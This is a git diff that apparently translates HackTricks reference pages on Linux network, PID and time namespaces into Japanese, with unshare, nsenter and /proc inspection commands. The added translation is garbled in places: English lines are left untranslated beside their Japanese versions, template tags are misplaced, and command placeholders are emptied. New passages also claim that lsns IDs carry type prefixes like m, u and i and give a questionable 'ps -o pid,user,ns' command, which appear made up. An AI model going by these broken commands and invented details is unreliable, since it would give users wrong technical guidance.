+[https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)から転載 #### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash # Run ifconfig or ip -a ``` +### 自分のプロセスがどの名前空間にあるかを確認する -### Check which namespace is your process in +To check which namespace your process is in, you can use the following command: +プロセスがどの名前空間にあるかを確認するには、次のコマンドを使用します。 + +```bash +$ ls -l /proc/$$/ns/net +``` + +This command will display the network namespace associated with your process. The `$$` represents the process ID of the current shell. + +このコマンドは、プロセスに関連付けられたネットワーク名前空間を表示します。`$$`は現在のシェルのプロセスIDを表します。 ```bash ls -l /proc/self/ns/net lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]' ``` - -### Find all Network namespaces +### すべてのネットワーク名前空間を見つける {% code overflow="wrap" %} ```bash @@ -87,24 +87,24 @@ sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep ``` +{% code %} + +### ネットワーク名前空間に入る + {% endcode %} - -### Enter inside a Network namespace - ```bash nsenter -n TARGET_PID --pid /bin/bash ``` - -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`). +また、**rootユーザーでなければ他のプロセスの名前空間に入ることはできません**。また、他の名前空間に入るためには(`/proc/self/ns/net`のような)ディスクリプタが必要です。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md index a382b4ca8..5deaaf3e4 100644 --- a/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md +++ b/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md @@ -1,87 +1,93 @@ -# PID Namespace +# PID ネームスペース
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f)または[**telegram グループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PR を** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Basic Information +## 基本情報 -The PID (Process IDentifier) namespace is a feature in the Linux kernel that provides process isolation by enabling a group of processes to have their own set of unique PIDs, separate from the PIDs in other namespaces. This is particularly useful in containerization, where process isolation is essential for security and resource management. +PID(プロセス ID)ネームスペースは、Linux カーネルの機能であり、一連のプロセスが他のネームスペースとは異なる一意の PID セットを持つことでプロセスの分離を提供します。これは特にコンテナ化において重要なセキュリティとリソース管理のためにプロセスの分離が必要な場合に役立ちます。 -When a new PID namespace is created, the first process in that namespace is assigned PID 1. This process becomes the "init" process of the new namespace and is responsible for managing other processes within the namespace. Each subsequent process created within the namespace will have a unique PID within that namespace, and these PIDs will be independent of PIDs in other namespaces. +新しい PID ネームスペースが作成されると、そのネームスペース内の最初のプロセスには PID 1 が割り当てられます。このプロセスは新しいネームスペースの "init" プロセスとなり、ネームスペース内の他のプロセスを管理する責任を持ちます。ネームスペース内で作成される各プロセスは、そのネームスペース内で一意の PID を持ち、これらの PID は他のネームスペースの PID とは独立しています。 -From the perspective of a process within a PID namespace, it can only see other processes in the same namespace. It is not aware of processes in other namespaces, and it cannot interact with them using traditional process management tools (e.g., `kill`, `wait`, etc.). This provides a level of isolation that helps prevent processes from interfering with one another. +PID ネームスペース内のプロセスの視点からは、同じネームスペース内の他のプロセスしか見ることができません。他のネームスペースのプロセスには気付かず、従来のプロセス管理ツール(`kill`、`wait` など)を使用してそれらと対話することはできません。これにより、プロセス同士の干渉を防ぐ一定の分離レベルが提供されます。 -### How it works: +### 動作原理: -1. When a new process is created (e.g., by using the `clone()` system call), the process can be assigned to a new or existing PID namespace. **If a new namespace is created, the process becomes the "init" process of that namespace**. -2. The **kernel** maintains a **mapping between the PIDs in the new namespace and the corresponding PIDs** in the parent namespace (i.e., the namespace from which the new namespace was created). This mapping **allows the kernel to translate PIDs when necessary**, such as when sending signals between processes in different namespaces. -3. **Processes within a PID namespace can only see and interact with other processes in the same namespace**. They are not aware of processes in other namespaces, and their PIDs are unique within their namespace. -4. When a **PID namespace is destroyed** (e.g., when the "init" process of the namespace exits), **all processes within that namespace are terminated**. This ensures that all resources associated with the namespace are properly cleaned up. +1. 新しいプロセスが作成されると(たとえば、`clone()` システムコールを使用して)、そのプロセスは新しいまたは既存の PID ネームスペースに割り当てることができます。**新しいネームスペースが作成される場合、そのプロセスはそのネームスペースの "init" プロセスとなります**。 +2. **カーネル**は、新しいネームスペースの PID と親ネームスペース(新しいネームスペースが作成されたネームスペース)の対応する PID との間の**マッピングを維持**します。このマッピングにより、カーネルは必要に応じて PID を変換できます。たとえば、異なるネームスペースのプロセス間でシグナルを送信する場合などです。 +3. **PID ネームスペース内のプロセスは、同じネームスペース内の他のプロセスしか見ることができず、対話することができます**。他のネームスペースのプロセスには気付かず、それらの PID はネームスペース内で一意です。 +4. **PID ネームスペースが破棄されると**(たとえば、ネームスペースの "init" プロセスが終了すると)、**そのネームスペース内のすべてのプロセスが終了**します。これにより、ネームスペースに関連するすべてのリソースが適切にクリーンアップされます。 -## Lab: +## ラボ: -### Create different Namespaces +### 異なるネームスペースの作成 #### CLI - ```bash sudo unshare -pf --mount-proc /bin/bash ``` -
-Error: bash: fork: Cannot allocate memory +エラー:bash: fork: メモリを割り当てることができません -If you run the previous line without `-f` you will get that error.\ -The error is caused by the PID 1 process exits in the new namespace. - -After bash start to run, bash will fork several new sub-processes to do somethings. If you run unshare without -f, bash will have the same pid as the current "unshare" process. The current "unshare" process call the unshare systemcall, create a new pid namespace, but the current "unshare" process is not in the new pid namespace. It is the desired behavior of linux kernel: process A creates a new namespace, the process A itself won't be put into the new namespace, only the sub-processes of process A will be put into the new namespace. So when you run: +前の行を`-f`なしで実行すると、このエラーが発生します。\ +このエラーは、新しい名前空間でPID 1プロセスが終了することによって引き起こされます。 +bashが実行されると、いくつかの新しいサブプロセスをフォークして何かを実行します。`-f`なしでunshareを実行すると、bashのPIDは現在の「unshare」プロセスと同じになります。現在の「unshare」プロセスはunshareシステムコールを呼び出し、新しいPID名前空間を作成しますが、現在の「unshare」プロセスは新しいPID名前空間にありません。これはLinuxカーネルの望ましい動作です:プロセスAが新しい名前空間を作成すると、プロセスA自体は新しい名前空間に配置されず、プロセスAのサブプロセスのみが新しい名前空間に配置されます。したがって、次のコマンドを実行すると: ``` unshare -p /bin/bash ``` +unshareプロセスは/bin/bashを実行し、/bin/bashはいくつかのサブプロセスをフォークします。bashの最初のサブプロセスは新しい名前空間のPID 1になり、ジョブが完了するとサブプロセスは終了します。したがって、新しい名前空間のPID 1が終了します。 -The unshare process will exec /bin/bash, and /bin/bash forks several sub-processes, the first sub-process of bash will become PID 1 of the new namespace, and the subprocess will exit after it completes its job. So the PID 1 of the new namespace exits. - -The PID 1 process has a special function: it should become all the orphan processes' parent process. If PID 1 process in the root namespace exits, kernel will panic. If PID 1 process in a sub namespace exits, linux kernel will call the disable\_pid\_allocation function, which will clean the PIDNS\_HASH\_ADDING flag in that namespace. When linux kernel create a new process, kernel will call alloc\_pid function to allocate a PID in a namespace, and if the PIDNS\_HASH\_ADDING flag is not set, alloc\_pid function will return a -ENOMEM error. That's why you got the "Cannot allocate memory" error. - -You can resolve this issue by use the '-f' option: +PID 1プロセスには特別な機能があります。孤児プロセスの親プロセスになる必要があります。ルート名前空間のPID 1プロセスが終了すると、カーネルはパニックになります。サブ名前空間のPID 1プロセスが終了すると、Linuxカーネルはdisable\_pid\_allocation関数を呼び出し、その名前空間のPIDNS\_HASH\_ADDINGフラグをクリアします。Linuxカーネルが新しいプロセスを作成するとき、カーネルはalloc\_pid関数を呼び出して名前空間内でPIDを割り当てます。PIDNS\_HASH\_ADDINGフラグが設定されていない場合、alloc\_pid関数は-ENOMEMエラーを返します。これが「Cannot allocate memory」エラーが発生する理由です。 +この問題は、'-f'オプションを使用することで解決できます: ``` unshare -fp /bin/bash ``` +もし`-f`オプションを使ってunshareを実行すると、unshareは新しいpid namespaceを作成した後に新しいプロセスをフォークします。そして新しいプロセスで`/bin/bash`を実行します。新しいプロセスは新しいpid namespaceのpid 1となります。その後、bashはいくつかのサブプロセスをフォークしてジョブを実行します。bash自体が新しいpid namespaceのpid 1であるため、そのサブプロセスは問題なく終了することができます。 -If you run unshare with '-f' option, unshare will fork a new process after it create the new pid namespace. And run /bin/bash in the new process. The new process will be the pid 1 of the new pid namespace. Then bash will also fork several sub-processes to do some jobs. As bash itself is the pid 1 of the new pid namespace, its sub-processes can exit without any problem. - -Copied from [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) +[https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)から転載
-By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +`--mount-proc`パラメータを使用して新しい`/proc`ファイルシステムのインスタンスをマウントすることで、新しいマウント名前空間はその名前空間固有のプロセス情報の正確で隔離されたビューを持つことが保証されます。 #### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` +### 自分のプロセスがどの名前空間にあるかを確認する -### Check which namespace are your process in +To check which namespace your process is in, you can use the `lsns` command. This command displays information about the namespaces on the system, including the PID (Process ID) namespace. +```bash +$ lsns -p +``` + +Replace `` with the process ID of the process you want to check. This will show you the namespace(s) that the process is associated with. + +You can also use the `readlink` command to check the symbolic link of the `/proc//ns/pid` file, which represents the PID namespace of a process. + +```bash +$ readlink /proc//ns/pid +``` + +Again, replace `` with the process ID you want to check. The output will be the path to the PID namespace file, indicating the namespace the process belongs to. ```bash ls -l /proc/self/ns/pid lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]' ``` - -### Find all PID namespaces +### すべてのPID名前空間を見つける {% code overflow="wrap" %} ```bash @@ -89,26 +95,24 @@ sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | ``` {% endcode %} -Note that the root use from the initial (default) PID namespace can see all the processes, even the ones in new PID names paces, thats why we can see all the PID namespaces. - -### Enter inside a PID namespace +初期(デフォルト)のPID名前空間からのrootユーザーは、新しいPID名前空間にあるプロセスを含めてすべてのプロセスを見ることができるため、すべてのPID名前空間を見ることができます。 +### PID名前空間に入る ```bash nsenter -t TARGET_PID --pid /bin/bash ``` +デフォルトの名前空間からPID名前空間に入ると、すべてのプロセスを見ることができます。そして、そのPID名前空間のプロセスは、PID名前空間上の新しいbashを見ることができます。 -When you enter inside a PID namespace from the default namespace, you will still be able to see all the processes. And the process from that PID ns will be able to see the new bash on the PID ns. - -Also, you can only **enter in another process PID namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/pid`) +また、**rootでなければ他のプロセスのPID名前空間に入ることはできません**。そして、**`/proc/self/ns/pid`**のようなディスクリプタが指す名前空間にディスクリプタなしで入ることはできません。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md index 178810a24..fa506fb8a 100644 --- a/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md +++ b/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md @@ -1,76 +1,90 @@ -# Time Namespace +# タイムネームスペース
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Basic Information +## 基本情報 -The time namespace allows for per-namespace offsets to the system monotonic and boot-time clocks. The time namespace is suited for Linux containers usage for allowing the date/time to be changed within a container and for adjusting clocks within a container following restoration from a checkpoint/snapshot. +タイムネームスペースは、ネームスペースごとのシステムのモノトニックおよび起動時のクロックへのオフセットを可能にします。タイムネームスペースは、コンテナ内で日付/時刻を変更したり、チェックポイント/スナップショットからの復元後にコンテナ内のクロックを調整するために使用されるLinuxコンテナに適しています。 -## Lab: +## ラボ: -### Create different Namespaces +### 異なるネームスペースの作成 #### CLI - ```bash sudo unshare -T [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +`--mount-proc`パラメータを使用して`/proc`ファイルシステムの新しいインスタンスをマウントすることで、新しいマウント名前空間がその名前空間固有のプロセス情報の正確で隔離されたビューを持つことが保証されます。
-Error: bash: fork: Cannot allocate memory +エラー:bash: fork: Cannot allocate memory -If you run the previous line without `-f` you will get that error.\ -The error is caused by the PID 1 process exits in the new namespace. - -After bash start to run, bash will fork several new sub-processes to do somethings. If you run unshare without -f, bash will have the same pid as the current "unshare" process. The current "unshare" process call the unshare systemcall, create a new pid namespace, but the current "unshare" process is not in the new pid namespace. It is the desired behavior of linux kernel: process A creates a new namespace, the process A itself won't be put into the new namespace, only the sub-processes of process A will be put into the new namespace. So when you run: +`-f`を指定せずに前の行を実行すると、このエラーが発生します。\ +このエラーは、新しい名前空間でPID 1プロセスが終了することによって引き起こされます。 +bashが実行されると、bashはいくつかの新しいサブプロセスをフォークして何かを行います。-fを指定せずにunshareを実行すると、bashのPIDは現在の「unshare」プロセスと同じになります。現在の「unshare」プロセスはunshareシステムコールを呼び出し、新しいPID名前空間を作成しますが、現在の「unshare」プロセス自体は新しいPID名前空間にありません。これはLinuxカーネルの望ましい動作です:プロセスAが新しい名前空間を作成すると、プロセスA自体は新しい名前空間に配置されず、プロセスAのサブプロセスのみが新しい名前空間に配置されます。したがって、次のコマンドを実行すると: ``` unshare -p /bin/bash ``` +unshareプロセスは/bin/bashを実行し、/bin/bashはいくつかのサブプロセスをフォークします。bashの最初のサブプロセスは新しい名前空間のPID 1になり、ジョブが完了するとサブプロセスは終了します。したがって、新しい名前空間のPID 1が終了します。 -The unshare process will exec /bin/bash, and /bin/bash forks several sub-processes, the first sub-process of bash will become PID 1 of the new namespace, and the subprocess will exit after it completes its job. So the PID 1 of the new namespace exits. - -The PID 1 process has a special function: it should become all the orphan processes' parent process. If PID 1 process in the root namespace exits, kernel will panic. If PID 1 process in a sub namespace exits, linux kernel will call the disable\_pid\_allocation function, which will clean the PIDNS\_HASH\_ADDING flag in that namespace. When linux kernel create a new process, kernel will call alloc\_pid function to allocate a PID in a namespace, and if the PIDNS\_HASH\_ADDING flag is not set, alloc\_pid function will return a -ENOMEM error. That's why you got the "Cannot allocate memory" error. - -You can resolve this issue by use the '-f' option: +PID 1プロセスには特別な機能があります。孤児プロセスの親プロセスになる必要があります。ルート名前空間のPID 1プロセスが終了すると、カーネルはパニックになります。サブ名前空間のPID 1プロセスが終了すると、Linuxカーネルはdisable\_pid\_allocation関数を呼び出し、その名前空間のPIDNS\_HASH\_ADDINGフラグをクリアします。Linuxカーネルが新しいプロセスを作成するとき、カーネルはalloc\_pid関数を呼び出して名前空間内でPIDを割り当てます。PIDNS\_HASH\_ADDINGフラグが設定されていない場合、alloc\_pid関数は-ENOMEMエラーを返します。これが「Cannot allocate memory」エラーが発生する理由です。 +この問題は、'-f'オプションを使用することで解決できます: ``` unshare -fp /bin/bash ``` +もし'unshare'を'-f'オプションと共に実行すると、'unshare'は新しいpid名前空間を作成した後に新しいプロセスをフォークします。そして、新しいプロセスで'/bin/bash'を実行します。新しいプロセスは新しいpid名前空間のpid 1となります。その後、bashはいくつかのジョブを実行するためにいくつかのサブプロセスをフォークします。bash自体が新しいpid名前空間のpid 1であるため、そのサブプロセスは問題なく終了することができます。 -If you run unshare with '-f' option, unshare will fork a new process after it create the new pid namespace. And run /bin/bash in the new process. The new process will be the pid 1 of the new pid namespace. Then bash will also fork several sub-processes to do some jobs. As bash itself is the pid 1 of the new pid namespace, its sub-processes can exit without any problem. - -Copied from [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) +[https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)から転載
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` +### 自分のプロセスがどの名前空間にあるかを確認する -### Check which namespace is your process in +To check which namespace your process is in, you can use the `lsns` command. This command displays information about the namespaces on the system. +名前空間にあるプロセスを確認するには、`lsns`コマンドを使用します。このコマンドは、システム上の名前空間に関する情報を表示します。 + +```bash +$ lsns +``` + +This command will list all the namespaces along with their type, ID, and the number of processes in each namespace. The namespace type can be identified by the prefix in the ID. For example, `m` represents the mount namespace, `u` represents the user namespace, and `i` represents the IPC namespace. + +このコマンドは、すべての名前空間とそのタイプ、ID、および各名前空間内のプロセス数を一覧表示します。名前空間のタイプは、IDの接頭辞で識別できます。たとえば、`m`はマウント名前空間を表し、`u`はユーザ名前空間を表し、`i`はIPC名前空間を表します。 + +To filter the output and display only the namespaces associated with your process, you can use the `ps` command along with the process ID (`PID`) of your process. + +出力をフィルタリングして、自分のプロセスに関連する名前空間のみを表示するには、`ps`コマンドを使用し、自分のプロセスのプロセスID(`PID`)を指定します。 + +```bash +$ ps -o pid,user,ns +``` + +This command will display the PID, user, and namespace information for all processes. You can identify the namespaces associated with your process by matching the PID with your process's PID. + +このコマンドは、すべてのプロセスのPID、ユーザ、および名前空間情報を表示します。自分のプロセスに関連する名前空間は、PIDを自分のプロセスのPIDと一致させることで特定できます。 ```bash ls -l /proc/self/ns/time lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]' ``` - -### Find all Time namespaces +### すべてのタイムネームスペースを見つける {% code overflow="wrap" %} ```bash @@ -78,24 +92,24 @@ sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep ``` +{% code %} + +### タイムネームスペースに入る + {% endcode %} - -### Enter inside a Time namespace - ```bash nsenter -T TARGET_PID --pid /bin/bash ``` - -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`). +また、**rootユーザーでなければ他のプロセスの名前空間に入ることはできません**。また、他の名前空間に入るためには(`/proc/self/ns/net`のような)ディスクリプタが必要です。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
